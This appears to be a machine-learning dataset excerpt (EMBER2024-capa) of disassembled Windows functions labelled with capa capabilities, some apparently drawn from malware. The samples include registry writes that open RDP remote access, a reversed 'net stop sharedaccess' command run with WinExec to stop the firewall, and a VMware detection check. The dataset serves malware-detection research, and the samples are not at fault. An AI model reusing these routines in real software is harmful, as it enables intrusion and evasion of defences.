joyce8/EMBER2024-capa huggingface dataset:
Function at 0x287574
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, edx
mov eax, edx
xor eax, dword [ebp + 0x10]
shr ecx, 5
inc ecx
cmp edx, ecx
jb 0x2875ab
push esi
push edi
mov esi, dword [ebp + 8]
movzx esi, byte [esi + edx - 1]
mov edi, eax
shl edi, 5
add esi, edi
mov edi, eax
shr edi, 2
add esi, edi
sub edx, ecx
xor eax, esi
cmp edx, ecx
jae 0x28758b
pop edi
pop esi
pop ebp
ret

Function at 0x28b710
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
mov esi, 0x200
call fcn.0027f3b6
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0027f255
push dword [ebp + 0xc]
push esi
push 1
push eax
call fcn.00296b5d
add esp, 0x20
jmp 0x28b772
cmp esi, 0x3fffffff
ja 0x28b756
add esi, esi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0027f255
push dword [ebp + 0xc]
push esi
push 1
push eax
call fcn.00296b5d
add esp, 0x18
add dword [ebp - 0x208], eax
cmp eax, esi
jae 0x28b74c
lea eax, [ebp - 0x210]
push eax
call fcn.0027f31e
pop ecx
pop esi
leave
ret

Function at 0x28b78c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call fcn.0027f3b6
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.0027f255
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push 1
push eax
call fcn.00296b5d
mov esi, eax
add dword [ebp - 0x208], esi
lea eax, [ebp - 0x210]
push eax
call fcn.0027f31e
xor eax, eax
add esp, 0x24
cmp eax, esi
sbb eax, eax
neg eax
pop esi
leave
ret

Function at 0x28ba7d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, eax
call fcn.00280364
pop ecx
mov esi, eax
sub esi, ebx
push 1
pop edi
je 0x28bb0e
push ebx
push dword [ebp + 8]
dec esi
call fcn.002804f3
pop ecx
pop ecx
cmp eax, 3
jne 0x28bad7
test edi, edi
je 0x28bb03
push 0
push ebx
push dword [ebp + 8]
call fcn.002806dc
fstp qword [esp + 4]
mov dword [esp], str._.14g
push dword [ebp + 0xc]
call fcn.0029419d
add esp, 0x10
test eax, eax
jle 0x28bb03
xor edi, edi
inc edi
jmp 0x28bb05
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 8]
call fcn.0027fed8
add esp, 0xc
test edi, edi
je 0x28bb03
push dword [ebp + 0xc]
xor edi, edi
push dword [ebp - 4]
inc edi
push edi
push eax
call fcn.0029578e
add esp, 0x10
cmp eax, dword [ebp - 4]
je 0x28bb05
xor edi, edi
inc ebx
test esi, esi
jne 0x28ba98
test edi, edi
je 0x28bb13
xor eax, eax
inc eax
jmp 0x28bb22
push 0
push 0
push dword [ebp + 8]
call fcn.0027f07f
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
and eax, 0
push eax
push eax
push eax
push eax
push eax
push eax
and ecx, 0
cld
call 0x407d71
add eax, 0xfffffffd
clc
imul ax, dx
mov edx, 6
movzx eax, al
cmp ax, 0x7c
cld
bnd je 0x407d96
push esp
push 2
call dword [0x41b070]
mov ecx, ebp
cmp al, 0x57
jne 0x407dd5
mov eax, 0x407d91
add eax, edx
push ecx
sub esp, 4
mov dword [esp], eax
push 0xf
push 0
call fcn.00407dcb
test eax, eax
jne 0x407da9
jmp 0x407dd5
mov eax, 0
leave
push ecx
call ebx
test dword [0x7ffe0004], 0xffffffff
je 0x407d96
mov eax, dword [ebp + 4]
imul eax, dword [eax + 0x14e3f]
test eax, 0x7fffffff
je 0x407d96
bnd jmp dword [0x41b008]
jmp 0x864c226
test al, 0x96
ja 0x407dad
lea eax, [eax - 0x773648]
sub edx, 0x1b8
add eax, dword [edx]
mov dword [edx], eax
mov ecx, dword es:[esp]
sub esp, 0xffffffec
sub eax, eax
push cs
je 0x407d68
ret
add byte [eax], al
add byte [eax], al
mov eax, dword [0xb12e9707]
sal dword [edx + 0x68], cl
xchg ecx, eax
inc eax
push 0xfcf868f2
add ch, byte [eax - 0x50]
push 0x5ef47b7c
cmp al, 0xa2
push 0xa26ac765
push 0x68502416
mov ch, 0x74
jne 0x407e6a
xor byte [eax - 0xd], ch
inc byte [esi]
hlt
add eax, 0x209f1973
push 0x40f76b9
jbe 0x407e3d
add al, 0xc8
inc esi
jns 0x407e3d
enter 0x7946, 0xa
add byte [eax + 0x3c], ch
xlatb
dec ecx
jle 0x407e25
fcmove st(0), st(5)
mov ecx, 0xa40968f2
jmp 0xa0f93985
push 0x3fe9a409
mov ebx, 0x68a0b8
push 0x2568a07d
insb byte es:[edi], dx
sub dword [ebp - 0x3627b5cd], eax
insb byte es:[edi], dx
ja 0x407e2f
fisubr dword [edi + 0x54]
test dword [edx + 0x53e49c89], ebp
aam 0xa
and edx, ebx
sti
xor byte [eax - 0x4a], ch
inc esi
movsb byte es:[edi], byte [esi]
stosd dword es:[edi], eax
mov esi, 0xd468b0e5
cli
dec ecx
inc ebx
loope 0x407e2c
adc al, 0xd5
xchg esp, eax
inc edx
push 0xdeaf5d1
dec eax
xchg ebp, eax
fdivrp st(2)
push 0x732dc5ce
mov dl, 0x68
jb 0x407ef4
adc edi, dword [eax + 0x54853db5]
inc ebx
pop esp
fisttp word [esi]
pop es
sub dword [0x39b262f], ebx
push esp
in eax, dx
add byte [eax - 0x28], ch
pop ds
aas
sbb al, 0x81
sub ebx, ebx
clc
adc ch, byte [eax - 0x54]
lcall 0x9c78, 0x4eb37fde
xchg byte [ebx - 0x1e], bl
push 0xa1f64c41
aam 0x3c
lds esp, [eax + 0x68]
fld xword [edi]
pushfd
test dword [edi], eax
ja 0x407f27
and ecx, esi
invalid
mov bh, 0xcd
scasb al, byte es:[edi]
cmc
sahf
fild qword [eax]
iretd
paddb mm1, qword [esi + 0x38]
dec ebp
add dword [ecx], esp
cmpsd dword [esi], dword es:[edi]
cmp dword [ecx], 0xf2f768d0
push 0xcf68700b
xor ecx, dword [edx - 0x5e]
push 0x10779da3
ja 0x407f39
push 0x46b36810
mov al, 0x68
pop eax
pushfd
sub eax, 0x1a73b528
shr edi, 1
out dx, eax
imul ebp, dword [ebx - 0x39a4669b], 0x1c
pop ds
mov edx, dword [0xbe687278]
scasb al, byte es:[edi]
jnp 0x407f0e
retf
Function at 0x65993d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x662168
cmp edx, dword [eax]
je 0x65995f
add eax, 8
inc ecx
cmp eax, 0x6621f8
jl 0x659950
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x662168]
jne 0x659a8d
mov eax, dword [0xa67a90]
cmp eax, 1
je 0x659a67
test eax, eax
jne 0x659990
cmp dword [0x662094], 1
je 0x659a67
cmp edx, 0xfc
je 0x659a8d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x6599c7
lea eax, [ebp - 0x1a4]
push 0x65edf0
push eax
call fcn.0065a320
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065a7b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x659a0a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065a7b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65edec
push edi
call fcn.0065c680
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65edd0
push eax
call fcn.0065a320
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0065a330
lea eax, [ebp - 0xa0]
push 0x65edcc
push eax
call fcn.0065a330
push dword [esi + 0x66216c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0065a330
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65eda4
push eax
call fcn.0065c5f4
add esp, 0x2c
pop edi
jmp 0x659a8d
lea eax, [ebp + 8]
lea esi, [esi + 0x66216c]
push 0
push eax
push dword [esi]
call fcn.0065a7b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1012c888
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10146d70]
jne 0x1012c892
repz ret
jmp fcn.1012d2a8

Function at 0x1013126f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1012cd3c
and dword [ebp - 4], 0
cmp dword [0x101492cc], 0
mov ebx, eax
jne 0x10131320
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101313d1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101313d1
push eax
call fcn.1012ccca
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101492cc], eax
call esi
push eax
call fcn.1012ccca
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101492d0], eax
call esi
push eax
call fcn.1012ccca
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101492d4], eax
call esi
push eax
call fcn.1012ccca
pop ecx
mov dword [0x101492dc], eax
test eax, eax
je 0x10131320
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1012ccca
pop ecx
mov dword [0x101492d8], eax
mov eax, dword [0x101492d8]
cmp eax, ebx
je 0x10131378
cmp dword [0x101492dc], ebx
je 0x10131378
push eax
call fcn.1012cd45
push dword [0x101492dc]
mov esi, eax
call fcn.1012cd45
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10131378
test edi, edi
je 0x10131378
call esi
test eax, eax
je 0x1013136f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1013136f
test byte [ebp - 0xc], 1
jne 0x10131378
or dword [ebp + 0x10], 0x200000
jmp 0x101313b1
mov eax, dword [0x101492d0]
cmp eax, ebx
je 0x101313b1
push eax
call fcn.1012cd45
pop ecx
test eax, eax
je 0x101313b1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x101313b1
mov eax, dword [0x101492d4]
cmp eax, ebx
je 0x101313b1
push eax
call fcn.1012cd45
pop ecx
test eax, eax
je 0x101313b1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101492cc]
call fcn.1012cd45
pop ecx
test eax, eax
je 0x101313d1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101313d3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101323e0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [0x10146a90], 0x238b
mov dword [ebp - 0x10], 0
mov dword [0x10146a90], 0x1d7a
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x1013244c
jmp 0x1013255e
mov dword [0x10146a90], 0x202
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2 - 0xe]
cmp eax, 0x6c
je 0x1013254e
jmp 0x10132557
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, 0x104
jge 0x10132488
mov dword [0x10146a94], 0x3c9
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2]
cmp eax, 0
jne 0x10132479
jmp 0x10132488
jmp 0x1013247b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x1013244c
mov dword [0x10146a94], 0x17fe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2 - 0x1a]
cmp eax, 0x6c
jne 0x10132564
mov eax, dword [0x10146a90]
sub eax, 0x82d
mov dword [0x10146a90], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2 - 0x18]
cmp eax, 0x6f
jne 0x10132562
mov dword [0x10146a90], 0x12a0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax - 0x16]
cmp ecx, 0x61
jne 0x10132560
mov dword [0x10146a90], 0x1fd2
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2 - 0x14]
cmp eax, 0x64
jne 0x1013255e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2 - 0x12]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x64
jne 0x10132422
mov dword [0x10146a90], 0x2335
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2 - 0x10]
cmp eax, 0x6c
je 0x10132427
jmp 0x10132559
mov dword [ebp - 0xc], 1
jmp 0x10132575
jmp 0x10132559
jmp 0x10132422
jmp 0x10132560
jmp 0x10132562
jmp 0x10132564
mov dword [0x10146a90], 0x3b1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
add esp, 0x1c
pop ebp
ret
Function at 0x101327b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [fcn.101327b0]
mov dword [0x10146a90], 0x1abd
mov dword [ebp - 8], eax
mov dword [0x10146a90], 0x24bb
jmp 0x101327f3
mov eax, dword [0x10146a90]
sub eax, 0x24d8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [0x10146a90], eax
mov dword [ebp - 4], 0
jmp 0x10132850
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete cl
mov byte [ebp - 0xd], cl
mov al, byte [ebp - 0xd]
test al, 1
jne 0x1013280d
jmp 0x10132829
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x10132827
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x10132850
jmp 0x10132829
mov eax, dword [ebp - 8]
sub eax, 0x1000
and eax, 0xfffff000
mov dword [ebp - 8], eax
mov eax, dword [0x10146a90]
add eax, 0x1449
mov dword [0x10146a90], eax
mov al, 1
test al, 1
jne 0x101327f3
jmp 0x101327d5
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add esp, 0x14
pop ebp
ret
Function at 0x4010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov al, byte [esi + 0x44]
mov dword [esi], 0x426280
test al, al
je 0x40114c
mov eax, dword [esi + 0x18]
push eax
call dword [0x4312e8]
mov ecx, dword [esi + 0x18]
push ecx
call dword [0x4312e4]
mov ebp, dword [0x431304]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebp
add edi, 4
dec ebx
jne 0x401125
mov ecx, dword [esi + 0x18]
push ecx
call dword [0x4312dc]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x401186
mov eax, dword [esi + 0x40]
push eax
call dword [0x4312d8]
mov ebp, dword [0x4312d4]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi]
mov edx, dword [esi + 0x40]
push 0x20
push ecx
push edx
call ebp
add edi, 4
dec ebx
jne 0x40116b
mov eax, dword [esi + 0x40]
push eax
call dword [0x43130c]
lea edi, [esi + 0x30]
mov ebx, 2
mov ecx, dword [edi - 0x28]
push ecx
call fcn.0041ab7c
mov edx, dword [edi]
push edx
call fcn.0041ab7c
mov eax, dword [edi - 0x20]
push eax
call fcn.0041ab7c
mov ecx, dword [edi + 8]
push ecx
call fcn.0041ab7c
add esp, 0x10
add edi, 4
dec ebx
jne 0x40118e
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4012c0
Capabilities:
Create thread
Resume thread

Disassembly:
push ecx
push ebx
push edi
mov edi, ecx
call dword [0x4312fc]
test eax, eax
jne 0x4012d5
pop edi
xor al, al
pop ebx
pop ecx
ret
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push 4
push edi
push 0x401430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 8]
push 0x20000
push 0
lea edx, [edi + 0x46]
push ecx
lea ebx, [edi + 0x18]
push edx
push 0xffff
push ebx
mov dword [edi + 0x2c], eax
call dword [0x431300]
test eax, eax
je 0x401320
pop edi
xor al, al
pop ebx
pop ecx
ret
push ebp
push esi
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [0x431308]
add esi, 4
dec ebp
jne 0x40132a
mov edx, dword [edi + 0x1c]
mov ecx, dword [ebx]
push 0x20
mov eax, dword [edi + edx*4 + 0x30]
push eax
push ecx
call dword [0x4312f4]
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebx]
push eax
call dword [0x4312f0]
mov al, 1
pop esi
mov byte [edi + 0x44], al
pop ebp
pop edi
pop ebx
pop ecx
ret
Function at 0x4071b0
Capabilities:
Check os version
Hide shutdown actions via policy

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push SysStringLen
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push SysStringLen
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push SysStringLen
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push SysStringLen
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push SysStringLen
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push SysStringLen
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push SysStringLen
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push SysStringLen
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
add esp, 0x94
ret
Function at 0x407202
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push SysStringLen
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push SysStringLen
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push SysStringLen
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push SysStringLen
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push SysStringLen
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push SysStringLen
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push SysStringLen
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push SysStringLen
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e60
add esp, 8
add esp, 0x94
ret

Function at 0x407350
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
lea edx, [esp]
push esi
push edi
lea edi, [esp + 8]
push 0
rep stosd dword es:[edi], eax
mov edi, str.sseccaderahs_pots_ten
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
add esp, 0x104
ret
Function at 0x407a20
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4262d8
push 0x41b808
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
pushal
pushfd
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [0x4316a0], eax
popfd
popal
jmp 0x407a88
mov dword [ebp - 4], 0xffffffff
mov eax, dword [0x4316a0]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408120
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x4316a8
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x431cd0]
push 0x4316a8
inc ecx
mov dword [0x431cd0], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00407ff0
add esp, 8
cmp eax, esi
je 0x4082c8
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x40820f
cmp eax, 2
je 0x40820f
cmp eax, 3
je 0x40820f
cmp eax, 4
jne 0x408288
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00407f60
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.004087f0
add esp, 0x1c
test eax, eax
je 0x4082c8
mov edi, str.n_r_n_rKO_002_0.1_PTTH
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.n_r_n_rKO_002_0.1_PTTH
call sub.MSVCRT.dll__strrev
mov edx, dword [ebx]
add esp, 4
push eax
push edx
call dword [0x431340]
jmp 0x408288
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.00408090
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x4082c8
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.00407f60
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.004087f0
add esp, 0x1c
test eax, eax
je 0x4082c8
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [0x431340]
cmp eax, 0xffffffff
je 0x4082c8
cmp dword [ebx], 0
je 0x4082c8
mov eax, dword [ebx + 4]
test eax, eax
je 0x4082c8
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x409130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4082b8
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret